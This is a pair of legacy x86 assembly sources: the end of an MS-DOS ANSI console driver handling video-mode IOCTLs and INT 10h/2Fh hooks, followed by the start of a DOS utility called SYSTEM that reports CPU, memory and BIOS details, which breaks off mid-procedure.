test es:[di].RP_FLAGS,ON
jz si_intensity_ok
inc bx ; user wants intensity
si_intensity_ok:
mov INTENSITY_FLAG,bx
mov ax,BLINK_TOGGLE
xor bl,ON ; bl is opposite
; of INTENSITY_FLAG
int 10H
si_end_ok:
and In_Generic_IOCTL_Flag, NOT I_AM_IN_NOW ; Turn the flag off
pop ax ; forget old REQ_TXT_LENGTH
xor ax,ax ; clear error register
clc ; clear error flag
ret
si_not_supported:
mov ax,NOT_SUPPORTED
si_failed:
and In_Generic_IOCTL_Flag, NOT I_AM_IN_NOW ; Turn the flag off
pop REQ_TXT_LENGTH ; error...so restore old value.
stc ; set error flag
ret
SET_IOCTL ENDP
; Procedure name: DO_ROWS
; Function:
; Only called for TEXT_MODE.
; If (REQ_TXT_LENGTH <> DEFAULT_LENGTH) &
; (DISPLAY.SYS not loaded or CODEPAGE not active)
; then
; LOAD ROM 8X8 charater.
DO_ROWS PROC NEAR
cmp req_txt_length, DEFAULT_LENGTH
je dr_exit
mov ax,LOAD_8X8 ; load 8x8 ROM font
xor bl,bl
int 10H ; M003;
mov ax,SET_BLOCK_0 ; activate block = 0
xor bl,bl
int 10H ; M003;
dr_exit:
ret
DO_ROWS ENDP
; PROCEDURE_NAME: SET_SEARCH
; FUNCTION:
; THIS PROCEDURE SEARCHES THE RESIDENT VIDEO TABLE IN ATTEMPT TO
; FIND A MODE THAT MATCHES THE CHARACTERISTICS REQUESTED.
; AT ENTRY:
; AT EXIT:
; NORMAL: CARRY CLEAR - SI POINTS TO APPLICABLE RECORD
; ERROR: CARRY SET
; When INT10_V_Mode <> 0FFH, then assumes that the user
; issuing INT10h, Set mode function call. Unlike Generic IOCTL
; set mode call, the user already has taken care of the video mode.
; So, we also find the matching V_MODE.
; WARNING: TRASH CX
SET_SEARCH PROC NEAR
lea si,VIDEO_MODE_TABLE ; point to video table
mov cx,MAX_VIDEO_TAB_NUM ; load counter, # of tables
ss_while:
cmp [si].V_MODE,UNOCCUPIED ; while we have valid entries
jz ss_not_found
mov al,INT10_V_Mode
cmp al,0ffh ; if not issued by Int10 set mode,
jnz ss_from_set_mode
mov al,es:[di].RP_MODE ; load register for compare.
cmp [si].D_MODE,al ; match?
jnz ss_end_while
mov ax,es:[di].RP_COLORS ; yes...prepare next field
cmp [si].COLORS,ax ; match?
jnz ss_end_while
cmp es:[di].RESERVED2,0 ; yes, ensure reserved byte is zero
jnz ss_end_while
cmp es:[di].RP_MODE,GRAPHICS_MODE ; for graphics mode
jnz ss_not_graphic ; check the following:
mov ax,es:[di].RP_WIDTH ; screen width.
cmp [si].SCR_WIDTH,ax
jnz ss_end_while
mov ax,es:[di].RP_LENGTH ; screen length
cmp [si].SCR_LENGTH,ax
jnz ss_end_while ; ignore #rows and #coloumns
jmp short ss_found
ss_not_graphic:
mov ax,es:[di].RP_COLS ; the rows are matched
cmp [si].SCR_COLS,ax ; in the main routine
jnz ss_end_while
ss_found:
clc
jmp short ss_done
ss_from_set_mode:
cmp [si].V_MODE,al ; if V_MODE = AL, we are ok
jz ss_found
ss_end_while:
add si,type MODE_TABLE ; then, this is not the correct entry.
loop ss_while ; Let's find the next entry.
ss_not_found:
stc
ss_done:
mov INT10_V_Mode, 0FFh ; Done. Reset the value
ret
SET_SEARCH ENDP
; PROCEDURE_NAME: GET_SEARCH
; FUNCTION:
; THIS PROCEDURE SEARCHES THE VIDEO TABLE LOOKING FOR A MATCHING
; VIDEO MODE.
; AT ENTRY: DS:SI POINTS TO VIDEO TABLE
; AL CONTAINS THE MODE REQUESTED
; AT EXIT:
; NORMAL: CARRY CLEAR, DS:SI POINTS TO MATCHING RECORD
; ERROR: CARRY SET
; WARNING: TRASH CX
GET_SEARCH PROC NEAR
mov cx,MAX_VIDEO_TAB_NUM ; # of total tables
gs_while:
cmp [si].V_MODE,UNOCCUPIED ; while we're not pointing to
jz gs_error
cmp [si].V_MODE,al ; the right mode and we are still
jz gs_got_it
add si,TYPE MODE_TABLE ; point to the next mode
loop gs_while
gs_error:
stc ; no, set error flag
ret
gs_got_it:
clc
ret
GET_SEARCH ENDP
; PROCEDURE_NAME: SET_CURSOR_EMUL
; FUNCTION:
; THIS PROCEDURE SETS THE CURSOR EMULATION BIT OFF IN ROM BIOS. THIS
; IS TO PROVIDE A CURSOR ON THE EGA WITH THE 5154 LOADED WITH AN 8X8
; CHARACTER SET.
; AT ENTRY:
; AT EXIT:
; NORMAL: CURSOR EMULATION BIT SET FOR APPLICABLE HARDWARE
; ERROR: N/A
SET_CURSOR_EMUL PROC NEAR
test HDWR_FLAG,E5154_ACTIVE ; EGA with 5154?
jz sce_done
push si
push ds ; yes..so..
mov ax,ROM_BIOS ; check cursor emulation..
mov ds,ax
mov si,CURSOR_FLAG
mov al,BYTE PTR [si]
cmp cs:REQ_TXT_LENGTH,DEFAULT_LENGTH; >25 lines req?
jnz sce_cursor_on
and al,TURN_OFF ; no....set it OFF
jmp short sce_cursor_ok
sce_cursor_on:
or al,TURN_ON ; yes...set it ON
sce_cursor_ok:
mov BYTE PTR [si],AL
pop ds
pop si
sce_done:
ret ; return to calling module
SET_CURSOR_EMUL ENDP
; PROCEDURE_NAME: INT10_COM
; FUNCTION:
; THIS IS THE INTERRUPT 10H HANDLER TO CAPTURE THE FOLLOWING FUNCTIONS:
; AH=1H (SET CURSOR TYPE). CURSOR EMULATION IS PERFORMED IF WE HAVE
; AND EGA WITH A 5151 MONITOR, AND 43 LINES IS REQUESTED.
;M002; What is bellow was modified. The /L option was removed. But ansi
;M002; will still do a GET_IOCTL/SET_IOCTL for the application.
; AH=0H (SET MODE) SCREEN LENGTH IS MAINTAINED WHEN POSSIBLE. (IE. IN
; TEXT MODES ONLY.)
; AN004; Capturing Set Mode call and enforcing the # of Rows based on the
; previous Set_IOCTL request lines was a design mistake. ANSI cannot
; covers the all the application program out there which use INT 10h
; directly to make a full screen interface by their own way.
; This part of logic has been taken out by the management decision.
; Instead, for each set mdoe INT 10h function call, if it were not
; issued by SET_IOCTL procedures itself, or by DISPLAY.SYS program,
; then we assume that it was issued by an APPS, that usually does not
; know the new ANSI GET_IOCTL/SET_IOCTL interfaces.
; In this case, ANSI is going to call GET_IOCTL and SET_IOCTL function
; call - This is not to lose the local data consistency in ANSI.
; AT ENTRY:
; AT EXIT:
; NORMAL:
; ERROR:
INT10_COM PROC NEAR
sti ; restore interrupts
cmp ah,SET_CURSOR_CALL
jz SET_CURSOR_HANDLER
cmp ah,SET_MODE
jz SET_MODE_HANDLER
jmp DWORD PTR cs:ROM_INT10 ; no...pass it on.
SET_CURSOR_HANDLER:
push ax
test cs:HDWR_FLAG,E5151_ACTIVE ; do we have an EGA?
jz sch_goto_rom
cmp cs:REQ_TXT_LENGTH,DEFAULT_LENGTH
jz sch_goto_rom
cmp cs:GRAPHICS_FLAG,TEXT_MODE ; with 5151..so perform cursor mapping
jnz sch_goto_rom
cmp cl,8
jl sch_goto_rom
mov al,ch ; check for cursor..
and al,60h ; off emulation. J.K.
cmp al,20h
jz sch_goto_rom
mov al,ch ; start position for cursor
call MAP_DOWN
mov ch,al
mov al,cl ; end position for cursor
call MAP_DOWN
mov cl,al
sch_goto_rom:
pop ax
jmp DWORD PTR CS:ROM_INT10 ; continue interrupt processing
SET_MODE_HANDLER:
pushf ; prepare for IRET
mov cs:ANSI_SetMode_Call_Flag, 1 ; Used by INT2F_COM
call DWORD PTR CS:ROM_INT10 ; call INT10 routine
mov cs:ANSI_SetMode_Call_Flag, 0 ; Reset it
push bp
push es
push ds
push si
push di
push dx
push cx
push bx
push ax
push cs
pop ds
mov ah,REQ_VID_MODE ; get current mode..
pushf
call DWORD PTR ROM_INT10
and al,VIDEO_MASK ; mask bit 7 (refresh)
test In_Generic_IOCTL_Flag, (I_AM_IN_NOW + SET_MODE_BY_DISPLAY) ; Flag is on?
;If not (I_AM_IN_NOW or SET_MODE_BY_DISPLAY),
jnz smh_ioctl_done
; cmp SWITCH_L,0 ;M002; No more /L
; jnz smh_ioctl_done ;M002; No more /L
push ax ;Save mode
push es
push cs
pop es
mov di,offset My_IOCTL_Req_Packet
mov INT10_V_Mode,al ;Save current mode for SET_SEARCH
call Get_IOCTL
jc smh_set_ioctl_done
or In_Generic_IOCTL_Flag, CALLED_BY_INT10COM ;Do not set mode INT 10h again. Already done.
call Set_IOCTL
and In_Generic_IOCTL_Flag, not CALLED_BY_INT10COM
smh_set_ioctl_done:
pop es
pop ax ;Restore mode
mov INT10_V_Mode,0FFh
smh_ioctl_done:
lea si,VIDEO_MODE_TABLE
call GET_SEARCH ; look through table for mode selected.
jc smh_graphic_mode ; M001; if not found then
; M001; assume graphic mode
cmp [si].D_MODE,TEXT_MODE ; text mode?
jz smh_text_mode
smh_graphic_mode:
mov GRAPHICS_FLAG,GRAPHICS_MODE ; no, set graphics flag
jmp short smh_flag_done
smh_text_mode:
mov GRAPHICS_FLAG,TEXT_MODE ; set TEXT MODE
smh_flag_done:
; test In_Generic_IOCTL_Flag, I_AM_IN_NOW
; jnz smh_l_done ; M002; No more /L
; cmp Graphics_Flag,TEXT_MODE ; M002; No more /L
; jnz smh_l_done ; M002; No more /L
; cmp SWITCH_L,1 ; M002; No more /L
; jnz smh_l_done ; M002; No more /L
; call DO_ROWS ; M002; No more /L
smh_l_done:
;For each SET mode function int 10h function call, if it is not
;issued by ANSI GET_IOCTL and SET_IOCTL procedure themselves, we assume
;that the APPS, which usually does not know the ANSI GET_IOCTL/SET_IOCTL
;interfaces, intend to change the screen mode. In this case, ANSI is
;kind enough to call GET_IOCTL and SET_IOCTL function call for themselves.
pop ax
pop bx
pop cx
pop dx
pop di
pop si
pop ds
pop es
pop bp
iret
INT10_COM ENDP
; PROCEDURE_NAME: INT2F_COM
; FUNCTION:
; THIS IS THE INTERRUPT 2FH HANDLER TO CAPTURE THE FOLLOWING FUNCTIONS:
; ax=1A00H INSTALL REQUEST. ANSI WILL RETURN AL=FFH IF LOADED.
; AH=1A01H THIS IS THE INT2FH INTERFACE TO THE GENERIC IOCTL.
; NOTE: THE GET CHARACTERISTICS FUNCTION CALL WILL RETURN
; THE REQ_TXT_LENGTH IN THE BUFFER AS OPPOSED TO
; THE ACTUAL HARDWARE SCREEN_LENGTH
; Ax=1A02h This is an information passing from DISPLAY.SYS about
; the INT 10h, SET MODE call.
; AT ENTRY:
; AT EXIT:
; NORMAL:
; ERROR:
INT2F_COM PROC NEAR
sti
cmp ah,multANSI ; is this for ANSI?
jnz ic_goto_rom
cmp al,DA_INFO_2F
jle INT2F_HANDLER
ic_goto_rom:
jmp DWORD PTR CS:ROM_INT2F ; no....jump to old INT2F
INT2F_HANDLER:
cmp al,INSTALL_CHECK
jnz ih_not_check
; do install check
mov al,INSTALLED ; load value to indicate installed
clc ; clear error flag.
jmp ih_iret
ih_not_check:
cmp al,DA_INFO_2F ; IOCTL or INFO passing?
jbe ih_valid
jmp ih_iret
ih_valid:
push bp
push ax ; s
push cx ; a
push dx ; v
push ds ; e r
push es ; e
push di ; g
push si ; s.
push bx
push ds ; load ES with DS (for call)
pop es
mov di,dx ; load DI with dx (for call)
push cs ; setup local addressability
pop ds
cmp al,IOCTL_2F ; IOCTL request
jnz ih_not_ioctl
cmp cl,GET_FUNC ; get function requested.
jnz ih_not_get
call GET_IOCTL
jc ih_set_flags ; if no error and
cmp HDWR_FLAG,E5151_ACTIVE ; >25 lines supported
jl ih_set_flags
cmp [si].D_MODE,TEXT_MODE ; this is a text mode then..
jnz ih_set_flags
; cmp SWITCH_L,1 ; M002; No more /L
; jz ih_use_rtl ; M002; No more /L
cmp ANSI_SetMode_Call_Flag,1
jnz ih_use_rtl ; if not originated by ANSI thru AH=0, Int10
cmp Display_Loaded_Before_me,1 ; or Display.sys not loaded before ANSI,
jz ih_get_ok
ih_use_rtl:
mov bx,REQ_TXT_LENGTH ; then use REQ_TXT_LENGTH instead..
mov es:[di].RP_ROWS,bx
ih_get_ok:
clc
jmp short ih_set_flags
ih_not_get:
cmp cl,SET_FUNC
jnz ih_invalid
call SET_IOCTL ; set function requested.
jmp short ih_set_flags
; invalid function
ih_invalid:
mov ax,INVALID_FUNC ; load error and...
stc ; set error flag.
jmp short ih_set_flags ; Info. passing
ih_not_ioctl:
cmp es:[di].DA_INFO_LEVEL,0 ; 0 - DA_SETMODE_FLAG request
jnz ih_not_info
cmp es:[di].DA_SETMODE_FLAG,1
jnz ih_not_set
or In_Generic_IOCTL_Flag, SET_MODE_BY_DISPLAY ;Turn the flag on
jmp short ih_info_ok
ih_not_set:
and In_Generic_IOCTL_Flag, not SET_MODE_BY_DISPLAY ;Turn the flag off
jmp short ih_info_ok
ih_not_info:
cmp es:[di].DA_INFO_LEVEL,1 ; 1 = DA_L_STATA query
jnz ih_info_ok
; mov al,cs:[SWITCH_L] ; M002; No more /L
mov al,OFF ; M002; No more /L
mov es:[di].DA_L_STATE, al
ih_info_ok:
clc ; clear carry. There is no Error in DOS 4.00 for this call.
ih_set_flags:
pop bx ; restore all..
pop si
pop di ; registers except..
pop es
pop ds ; BP.
pop dx
pop cx
push ax ; save error condition
mov bp,sp ; setup frame pointer
mov ax,[bp+10] ; load stack flags
jc ih_error ; carry set???
and ax,NOT_CY ; no.. set carry off.
mov [bp+10],ax ; put back on stack.
pop ax ; remove error flag from stack
pop ax ; no error so bring back function call
XCHG ah,al ; exchange to show that ANSI present
jmp short ih_pop_bp
ih_error:
or ax,CY ; yes...set carry on.
mov [bp+10],ax ; put back on stack.
pop ax ; restore error flag
pop bp ; pop off saved value of ax (destroyed)
ih_pop_bp:
pop bp ; restore final register.
ih_iret:
ABORT: iret
INT2F_COM ENDP
; PROCEDURE_NAME: MAP_DOWN
; FUNCTION:
; THIS PROCEDURE MAPS THE CURSOR START (END) POSITION FROM A 14 PEL
; BOX SIZE TO AN 8 PEL BOX SIZE.
; AT ENTRY: AL HAS THE CURSOR START (END) TO BE MAPPED.
; AT EXIT:
; NORMAL: AL CONTAINS THE MAPPED POSITION FOR CURSOR START (END)
; ERROR: N/A
MAP_DOWN PROC NEAR
push bx
xor ah,ah ; clear upper byte of cursor position
mov bl,EIGHT ; multiply by current box size.
push dx ; al x
mul bl ; ---- = ---
pop dx ; 14 8
mov bl,FOURTEEN
div bl ; divide by box size expected.
pop bx
ret
MAP_DOWN ENDP
; PROCEDURE_NAME: SET_VIDEO_MODE
; FUNCTION:
; THIS PROCEDURE SETS THE VIDEO MODE SPECIFIED IN DS:[SI].V_MODE.
; AT ENTRY: DS:SI.V_MODE CONTAINS MODE NUMBER
; AT EXIT:
; NORMAL: MODE SET
; ERROR: N/A
SET_VIDEO_MODE PROC NEAR
test In_Generic_IOCTL_Flag,CALLED_BY_INT10COM
jnz svm_done
mov al,[si].V_MODE ; ..issue set mode
test HDWR_FLAG,LCD_ACTIVE
jnz svm_update_bios ; is this the LCD?
test HDWR_FLAG,VGA_ACTIVE ; or VGA? (done for BRECON card)
jz svm_update_done
svm_update_bios:
push ds ; yes...
mov bl,al ; save mode
mov ax,ROM_BIOS
mov ds,ax ; get equipment status flag..
mov ax,ds:[EQUIP_FLAG]
and ax,INIT_VID_MASK ; clear initial video bits..
cmp bl,MODE7 ; are we setting mono?
jz svm_mono
cmp bl,MODE15
jnz svm_color
svm_mono:
or ax,LCD_MONO_MODE ; yes...set bits as mono
jmp short svm_update_it
svm_color:
or ax,LCD_COLOR_MODE ; no...set bits as color
svm_update_it:
mov ds:[EQUIP_FLAG],ax ; replace updated flag.
mov al,bl ; restore mode.
pop ds
svm_update_done:
mov ah,SET_MODE ; set mode
int 10H
svm_done:
ret
SET_VIDEO_MODE ENDP
CODE ENDS
END
| 23.495017
| 94
| 0.718821
|
85127e7c2a49adb32f7745931a139de090fd382c
| 32,293
|
asm
|
Assembly
|
system.asm
|
tonypdmtr/80x86
|
c7f69a83e60384ba449056067ea36fa8f3b81c0e
|
[
"MIT"
] | 2
|
2019-11-09T16:38:24.000Z
|
2020-12-11T00:37:35.000Z
|
system.asm
|
tonypdmtr/80x86
|
c7f69a83e60384ba449056067ea36fa8f3b81c0e
|
[
"MIT"
] | null | null | null |
system.asm
|
tonypdmtr/80x86
|
c7f69a83e60384ba449056067ea36fa8f3b81c0e
|
[
"MIT"
] | null | null | null |
;*******************************************************************************
; Program: SYSTEM
; Version: 1.08 (rewritten from scratch)
; Written: July 4, 1990
; Updated: October 5, 1990
; Author : Tony G. Papadimitriou <tonyp@acm.org>
; Purpose: Display system specific information
;*******************************************************************************
IDEAL
%TITLE "SYSTEM ver. 1.08"
MODEL SMALL
STACK 1024
if1
include "dos.inc"
include "bios.inc"
include "kbd.inc"
endif
DATASEG
IntFlag db 0 ; 1 if non-zero numbers already
IntDblFlag db 0 ; 1 if non-zero numbers already
CPUType dw 0 ; Type of CPU
EMMSTRING db "EMMXXXX0" ; device name to compare to for EMS
Msg1 db "SYSTEM 1.08, Copyright (c) 1990-2019",RETURN,LINEFEED
db "by Tony G. Papadimitriou (",??date,")",RETURN,LINEFEED
db "(Placed in the public domain)",RETURN,LINEFEED,RETURN,LINEFEED
Msg1Len = $ - Msg1
Msg2 db "MS-DOS version........... "
Msg2Len = $ - Msg2
Msg3 = $
Msg3Major db ? ; DOS version major
db "."
Msg3Minor db ?,? ; DOS version minor
db RETURN,LINEFEED
Msg3Len = $ - Msg3
Msg4 = $
db "Current video mode....... "
Msg4VidMod db 3 dup('0') ; video mode
db RETURN,LINEFEED
db "Screen width............. "
Msg4ScrWdt db 3 dup('0') ; screen width
db " chars",RETURN,LINEFEED
db "Screen length............ "
Msg4ScrLen db 3 dup('0')
db " lines",RETURN,LINEFEED
db "Active video page........ "
Msg4ActPag db 3 dup('0') ; display mode
db RETURN,LINEFEED
Msg4Len = $ - Msg4
Msg5 db "Disk drive installed",RETURN,LINEFEED
Msg5Len = $ - Msg5
Msg6 db "Coprocessor installed",RETURN,LINEFEED
Msg6Len = $ - Msg6
Msg7 db "Initial video mode....... "
Msg7InMode db 3 dup('0') ; initial video mode
db RETURN,LINEFEED
Msg7Len = $ - Msg7
Msg8 db "Disk drives supported.... "
Msg8Drives db 3 dup('0') ; disk drives attached
db RETURN,LINEFEED
Msg8Len = $ - Msg8
Msg9 db "DMA circuit installed",RETURN,LINEFEED
Msg9Len = $ - Msg9
Msg10 db "Serial ports supported... "
Msg10Ports db 3 dup('0') ; serial ports available
db RETURN,LINEFEED
Msg10Len = $ - Msg10
Msg11 db "Found serial printer",RETURN,LINEFEED
Msg11Len = $ - Msg11
Msg12 db "Printer ports supported.. "
Msg12Ports db 3 dup('0')
db RETURN,LINEFEED
Msg12Len = $ - Msg12
Msg13 db "Main memory.............. "
Msg13Main db 5 dup('0') ; main memory in KB
db " KB",RETURN,LINEFEED
Msg13Len = $ - Msg13
Msg14 db "Extended memory.......... "
Msg14Ext db 5 dup('0') ; extended memory in KB
db " KB",RETURN,LINEFEED
Msg14Len = $ - Msg14
Msg15 db "CPU...................... "
Msg15Len = $ - Msg15
Msg86 db " 8086/8088",RETURN,LINEFEED
Msg86Len = $ - Msg86
Msg286 db "80286",RETURN,LINEFEED
Msg286Len = $ - Msg286
Msg386 db "80386",RETURN,LINEFEED
Msg386Len = $ - Msg386
MsgNone db "Unknown",RETURN,LINEFEED
MsgNoneLen = $ - MsgNone
Msg16 db "Computer model (ID)...... "
Msg16Model db ?,? ; HEX model number
db " hex",RETURN,LINEFEED
db "Computer submodel........ "
Msg16Sub db ?,? ; HEX submodel number
db " hex",RETURN,LINEFEED
db "BIOS revision level...... "
Msg16Rev db 3 dup('0') ; BIOS revision level
db RETURN,LINEFEED
Msg16Len = $ - Msg16
Msg17 db "PC Bus I/O channel",RETURN,LINEFEED
Msg17Len = $ - Msg17
Msg18 db "Micro channel architecture",RETURN,LINEFEED
Msg18Len = $ - Msg18
Msg19 db "EBDA allocated",RETURN,LINEFEED
Msg19Len = $ - Msg19
Msg20 db "Wait for external event is supported",RETURN,LINEFEED
Msg20Len = $ - Msg20
Msg21 db "Keyboard intercept called by INT 09h",RETURN,LINEFEED
Msg21Len = $ - Msg21
Msg22 db "Real-time clock present",RETURN,LINEFEED
Msg22Len = $ - Msg22
Msg23 db "Second interrupt chip present",RETURN,LINEFEED
Msg23Len = $ - Msg23
Msg24 db "DMA channel 3 used by hard disk BIOS",RETURN,LINEFEED
Msg24Len = $ - Msg24
Msg25 db " but emulated by software",RETURN,LINEFEED
Msg25Len = $ - Msg25
Msg26 db "Machine is in Virtual 8086 Mode",RETURN,LINEFEED
Msg26Len = $ - Msg26
Msg27 db "Expanded memory present",RETURN,LINEFEED
Msg27Len = $ - Msg27
Msg28 db Bell,"Internal error in EMS software",RETURN,LINEFEED
Msg28Len = $ - Msg28
Msg29 db Bell,"Malfunction in EMS hardware",RETURN,LINEFEED
Msg29Len = $ - Msg29
Msg30 db Bell,"Undefined EMS function",RETURN,LINEFEED
Msg30Len = $ - Msg30
Msg31 db "EMS free 16K pages....... "
Msg31U db 5 dup('0') ; EMS unallocated pages
db RETURN,LINEFEED
db "EMS total 16K pages...... "
Msg31A db 5 dup('0') ; EMS total pages
db RETURN,LINEFEED
Msg31Len = $ - Msg31
Msg32 db "EMS version number....... "
Msg32Ver db ?,?,? ; EMS version
db RETURN,LINEFEED
Msg32Len = $ - Msg32
Msg33 db "Mouse driver installed",RETURN,LINEFEED
Msg33Len = $ - Msg33
Msg34 db "Number of mouse buttons.. "
Msg34Num db 5 dup('0') ; number of mouse buttons
db RETURN,LINEFEED
Msg34Len = $ - Msg34
Msg35 db "BIOS release date..... "
Msg35Date db 8 dup('?') ; BIOS date
db RETURN,LINEFEED
Msg35Len = $ - Msg35
Msg36 db "DesqView is currently active",RETURN,LINEFEED
Msg36Len = $ - Msg36
Msg37 db "DesqView version......... "
Msg37Major db ? ; DV version major
db "."
Msg37Minor db ?,? ; DV version minor
db RETURN,LINEFEED
Msg37Len = $ - Msg37
BMsg1 db "IBM/AWARD BIOS",RETURN,LINEFEED
BMsg1Len = $ - BMsg1
BMsg2 db "DEC BIOS",RETURN,LINEFEED
BMsg2Len = $ - BMsg2
BMsg3 db "Phoenix/AMI BIOS",RETURN,LINEFEED
BMsg3Len = $ - BMsg3
CODESEG
P8086
;*******************************************************************************
; Purpose: Call the various functions of the program
; Input : None
; Output : None
proc Main
mov ax,@data ; initialize DS
mov ds,ax
call ShwCprght
call ShwCPU
call ShwDosVer
call ShwDspMode
call ShwMemory
call ShwConfig
call DesqView
mov ah,DOS_TERMINATE_EXE
mov al,0
int DOS_FUNCTION
endp Main
;*******************************************************************************
; Purpose: Display the program copyright message
; Input : None
; Output : None
proc ShwCprght
mov dx,offset Msg1
mov cx,Msg1Len
call Write
ret
endp ShwCprght
;*******************************************************************************
; Purpose: Display the type of CPU of the machine
; Input : None
; Output : None
proc ShwCPU
mov dx,offset Msg15
mov cx,Msg15Len
call Write
call TestCPU ; AX holds type of processor
mov [CPUType],ax ; save it for later use
cmp ax,86 ; is it a 8086/8088?
jne @@10 ; no, check next
mov dx,offset Msg86
mov cx,Msg86Len
call Write
jmp short @@exit
@@10: cmp ax,286 ; is it a 80286?
jne @@20 ; no, check next
mov dx,offset Msg286
mov cx,Msg286Len
call Write
jmp short @@exit
@@20: cmp ax,386 ; is it a 80386?
jne @@30 ; no, check next
mov dx,offset Msg386
mov cx,Msg386Len
call Write
call V8086
jmp short @@exit
@@30: mov dx,offset MsgNone
mov cx,MsgNoneLen
call Write
@@exit: ret
endp ShwCPU
;*******************************************************************************
; Purpose: Display the version of MS-DOS and OEM BIOS
; Input : None
; Output : None
proc ShwDosVer
mov dx,offset Msg2
mov cx,Msg2Len
call Write
mov ah,DOS_GET_DOS_VERSION
int DOS_FUNCTION
add al,'0' ; convert major to ASCII
mov [Msg3Major],al
mov al,ah ; copy AH to AL
mov ah,0 ; zero high byte
mov bl,10 ; divisor is 10
div bl ; divide minor version by 10
add ax,3030h ; convert both numbers to ASCII
mov [Msg3Minor],al ; put first digit
mov [Msg3Minor+1],ah ; put second digit
mov dx,offset Msg3
mov cx,Msg3Len
call Write
; OEM BIOS determination
cmp bh,0 ; IBM?
jne @@1
mov dx,offset BMsg1
mov cx,BMsg1Len
call Write
jmp short @@exit
@@1: cmp bh,16h ; DEC?
jne @@2
mov dx,offset BMsg2
mov cx,BMsg2Len
call Write
jmp short @@exit
@@2: cmp bh,0FFh ; Phoenix?
jne @@exit
mov dx,offset BMsg3
mov cx,BMsg3Len
call Write
@@exit: ret
endp ShwDosVer
;*******************************************************************************
; Purpose: Display the current video display mode
; Input : None
; Output : None
proc ShwDspMode
mov ah,INT10_GET_MODE
int VIDEO_SERVICE
mov di,offset Msg4VidMod
call IntToStr
mov al,ah
mov di,offset Msg4ScrWdt
call IntToStr
mov al,bh
mov di,offset Msg4ActPag
call IntToStr
push ds
mov ax,40h
mov ds,ax
mov al,[84h] ; get screen length from BIOS data area
pop ds
inc al
mov di,offset Msg4ScrLen
call IntToStr
mov dx,offset Msg4
mov cx,Msg4Len
call Write
ret
endp ShwDspMode
;*******************************************************************************
; Purpose: Display the amounts of main and extended memory
; Input : None
; Output : None
proc ShwMemory
int 12h ; call BIOS memory determination
mov di,offset Msg13Main
call IntToStrDbl
mov dx,offset Msg13
mov cx,Msg13Len
call Write
mov ah,88h ; call BIOS extended memory inquiry
int 15h
jc @@10 ; no extended, skip
mov di,offset Msg14Ext
call IntToStrDbl
mov dx,offset Msg14
mov cx,Msg14Len
call Write
call TestExpanded ; check for expanded memory
@@10: ret
endp ShwMemory
;*******************************************************************************
; Purpose: Display the systen configuration as given by INT 11h
; Input : None
; Output : None
proc ShwConfig
call TestMouse ; check for mouse driver
int 11h ; Call BIOS equipment determination
test ax,1 ; is bit 0 set?
jz @@10 ; no, skip
mov dx,offset Msg5
mov cx,Msg5Len
call Write
@@10: test ax,2 ; is coprocessor installed?
jz @@20 ; no, skip
mov dx,offset Msg6
mov cx,offset Msg6Len
call Write
call CoTest ; a few extra tests about the 386
@@20: mov cl,3
mov bx,ax ; copy AX to BX
shr bx,cl ; shift BX right 3 bits
and bx,3 ; mask all but lower 2 bits
push ax ; save AX
mov al,bl ; argument must be in AL
mov di,offset Msg7InMode
call IntToStr
pop ax ; restore AX
mov dx,offset Msg7
mov cx,Msg7Len
call Write
test ax,1 ; is bit 0 set?
jz @@25 ; no, skip
mov cl,5
mov bx,ax ; copy AX to BX
shr bx,cl ; shift BX right 5 bits
and bx,3 ; mask all but lower 2 bits
push ax ; save AX
mov al,bl ; argument must be in AL
inc al ; drives = number + 1
mov di,offset Msg8Drives
call IntToStr
pop ax ; restore AX
mov dx,offset Msg8
mov cx,Msg8Len
call Write
@@25: test ax,0100h ; if 0, DMA is installed
jne @@30 ; DMA not present, skip
mov dx,offset Msg9
mov cx,Msg9Len
call Write
@@30: mov cl,8
mov bx,ax ; copy AX to BX
shr bx,cl ; shift BX right 8 bits
and bx,7 ; mask all but lower 3 bits
push ax ; save AX
mov al,bl ; argument must be in AL
mov di,offset Msg10Ports
call IntToStr
pop ax ; restore AX
mov dx,offset Msg10
mov cx,Msg10Len
call Write
test ax,2000h ; check for serial printer
jz @@40 ; not found, skip
mov dx,offset Msg11
mov cx,Msg11Len
call Write
@@40: mov cl,13
mov bx,ax ; copy AX to BX
shr bx,cl ; shift BX right 13 bits
and bx,3 ; mask all but lower 2 bits
push ax ; save AX
mov al,bl ; argument must be in AL
mov di,offset Msg12Ports
call IntToStr
pop ax ; restore AX
mov dx,offset Msg12
mov cx,Msg12Len
call Write
mov ah,0C0h ; Return System-Configuration Parms
int 15h ; call BIOS function
jnc @@sk1 ; call not supported by BIOS
@@quit: jmp @@50 ; go to exit
@@sk1: mov cx,[es:bx] ; get number of bytes that follow
cmp cx,8 ; must be at least 8
jl @@quit ; if less than 8, skip next part
mov al,[es:bx+2] ; get model number
mov di,offset Msg16Model
call HexVal
mov al,[es:bx+3] ; get submodel number
mov di,offset Msg16Sub
call HexVal
mov al,[es:bx+4] ; get BIOS revision level
mov di,offset Msg16Rev
call IntToStr
mov dx,offset Msg16
mov cx,Msg16Len
call Write
; get BIOS date
push ds ; save Data Segment
push es ; and Extra Segment
push ds ; transfer DS
pop es ; to ES
mov ax,0F000h ; new segment
mov ds,ax ; in DS
mov si,0FFF5h ; offset within segment
mov di,offset Msg35Date
mov cx,8 ; 8 characters for MM/DD/YY
rep movsb
pop es ; restore Extra Segment
pop ds ; and Data Segment
mov dx,offset Msg35
mov cx,Msg35Len
call Write
; end get BIOS date
mov al,[es:bx+5] ; get feature information
test al,00000010b ; bus type?
jnz @@MicroCh
mov dx,offset Msg17
mov cx,Msg17Len
jmp short @@WrBus
@@MicroCh: mov dx,offset Msg18 ; Micro channel architecture
mov cx,Msg18Len
@@WrBus: call Write
test ax,00000100b ; check EBDA allocation
jz @@T3 ; no, go to next test
mov dx,offset Msg19
mov cx,Msg19Len
call Write
@@T3: test ax,00001000b ; check external event support
jz @@T4 ; no, go to next test
mov dx,offset Msg20
mov cx,Msg20Len
call Write
@@T4: test ax,00010000b ; check keyboard intercept
jz @@T5 ; no, go to next test
mov dx,offset Msg21
mov cx,Msg21Len
call Write
@@T5: test ax,00100000b ; check real-time clock presence
jz @@T6 ; no, go to next test
mov dx,offset Msg22
mov cx,Msg22Len
call Write
@@T6: test ax,01000000b ; check second interrupt chip
jz @@T7 ; no, go to next test
mov dx,offset Msg23
mov cx,Msg23Len
call Write
@@T7: test ax,10000000b ; check DMA channel 3 usage
jz @@50 ; no, exit tests
mov dx,offset Msg24
mov cx,Msg24Len
call Write
@@50: ret
endp ShwConfig
;*******************************************************************************
; Purpose: If EMS is present, show information about it
; Input : None
; Output : None
proc TestExpanded
INT67_GET_PAGE_COUNT = 42h
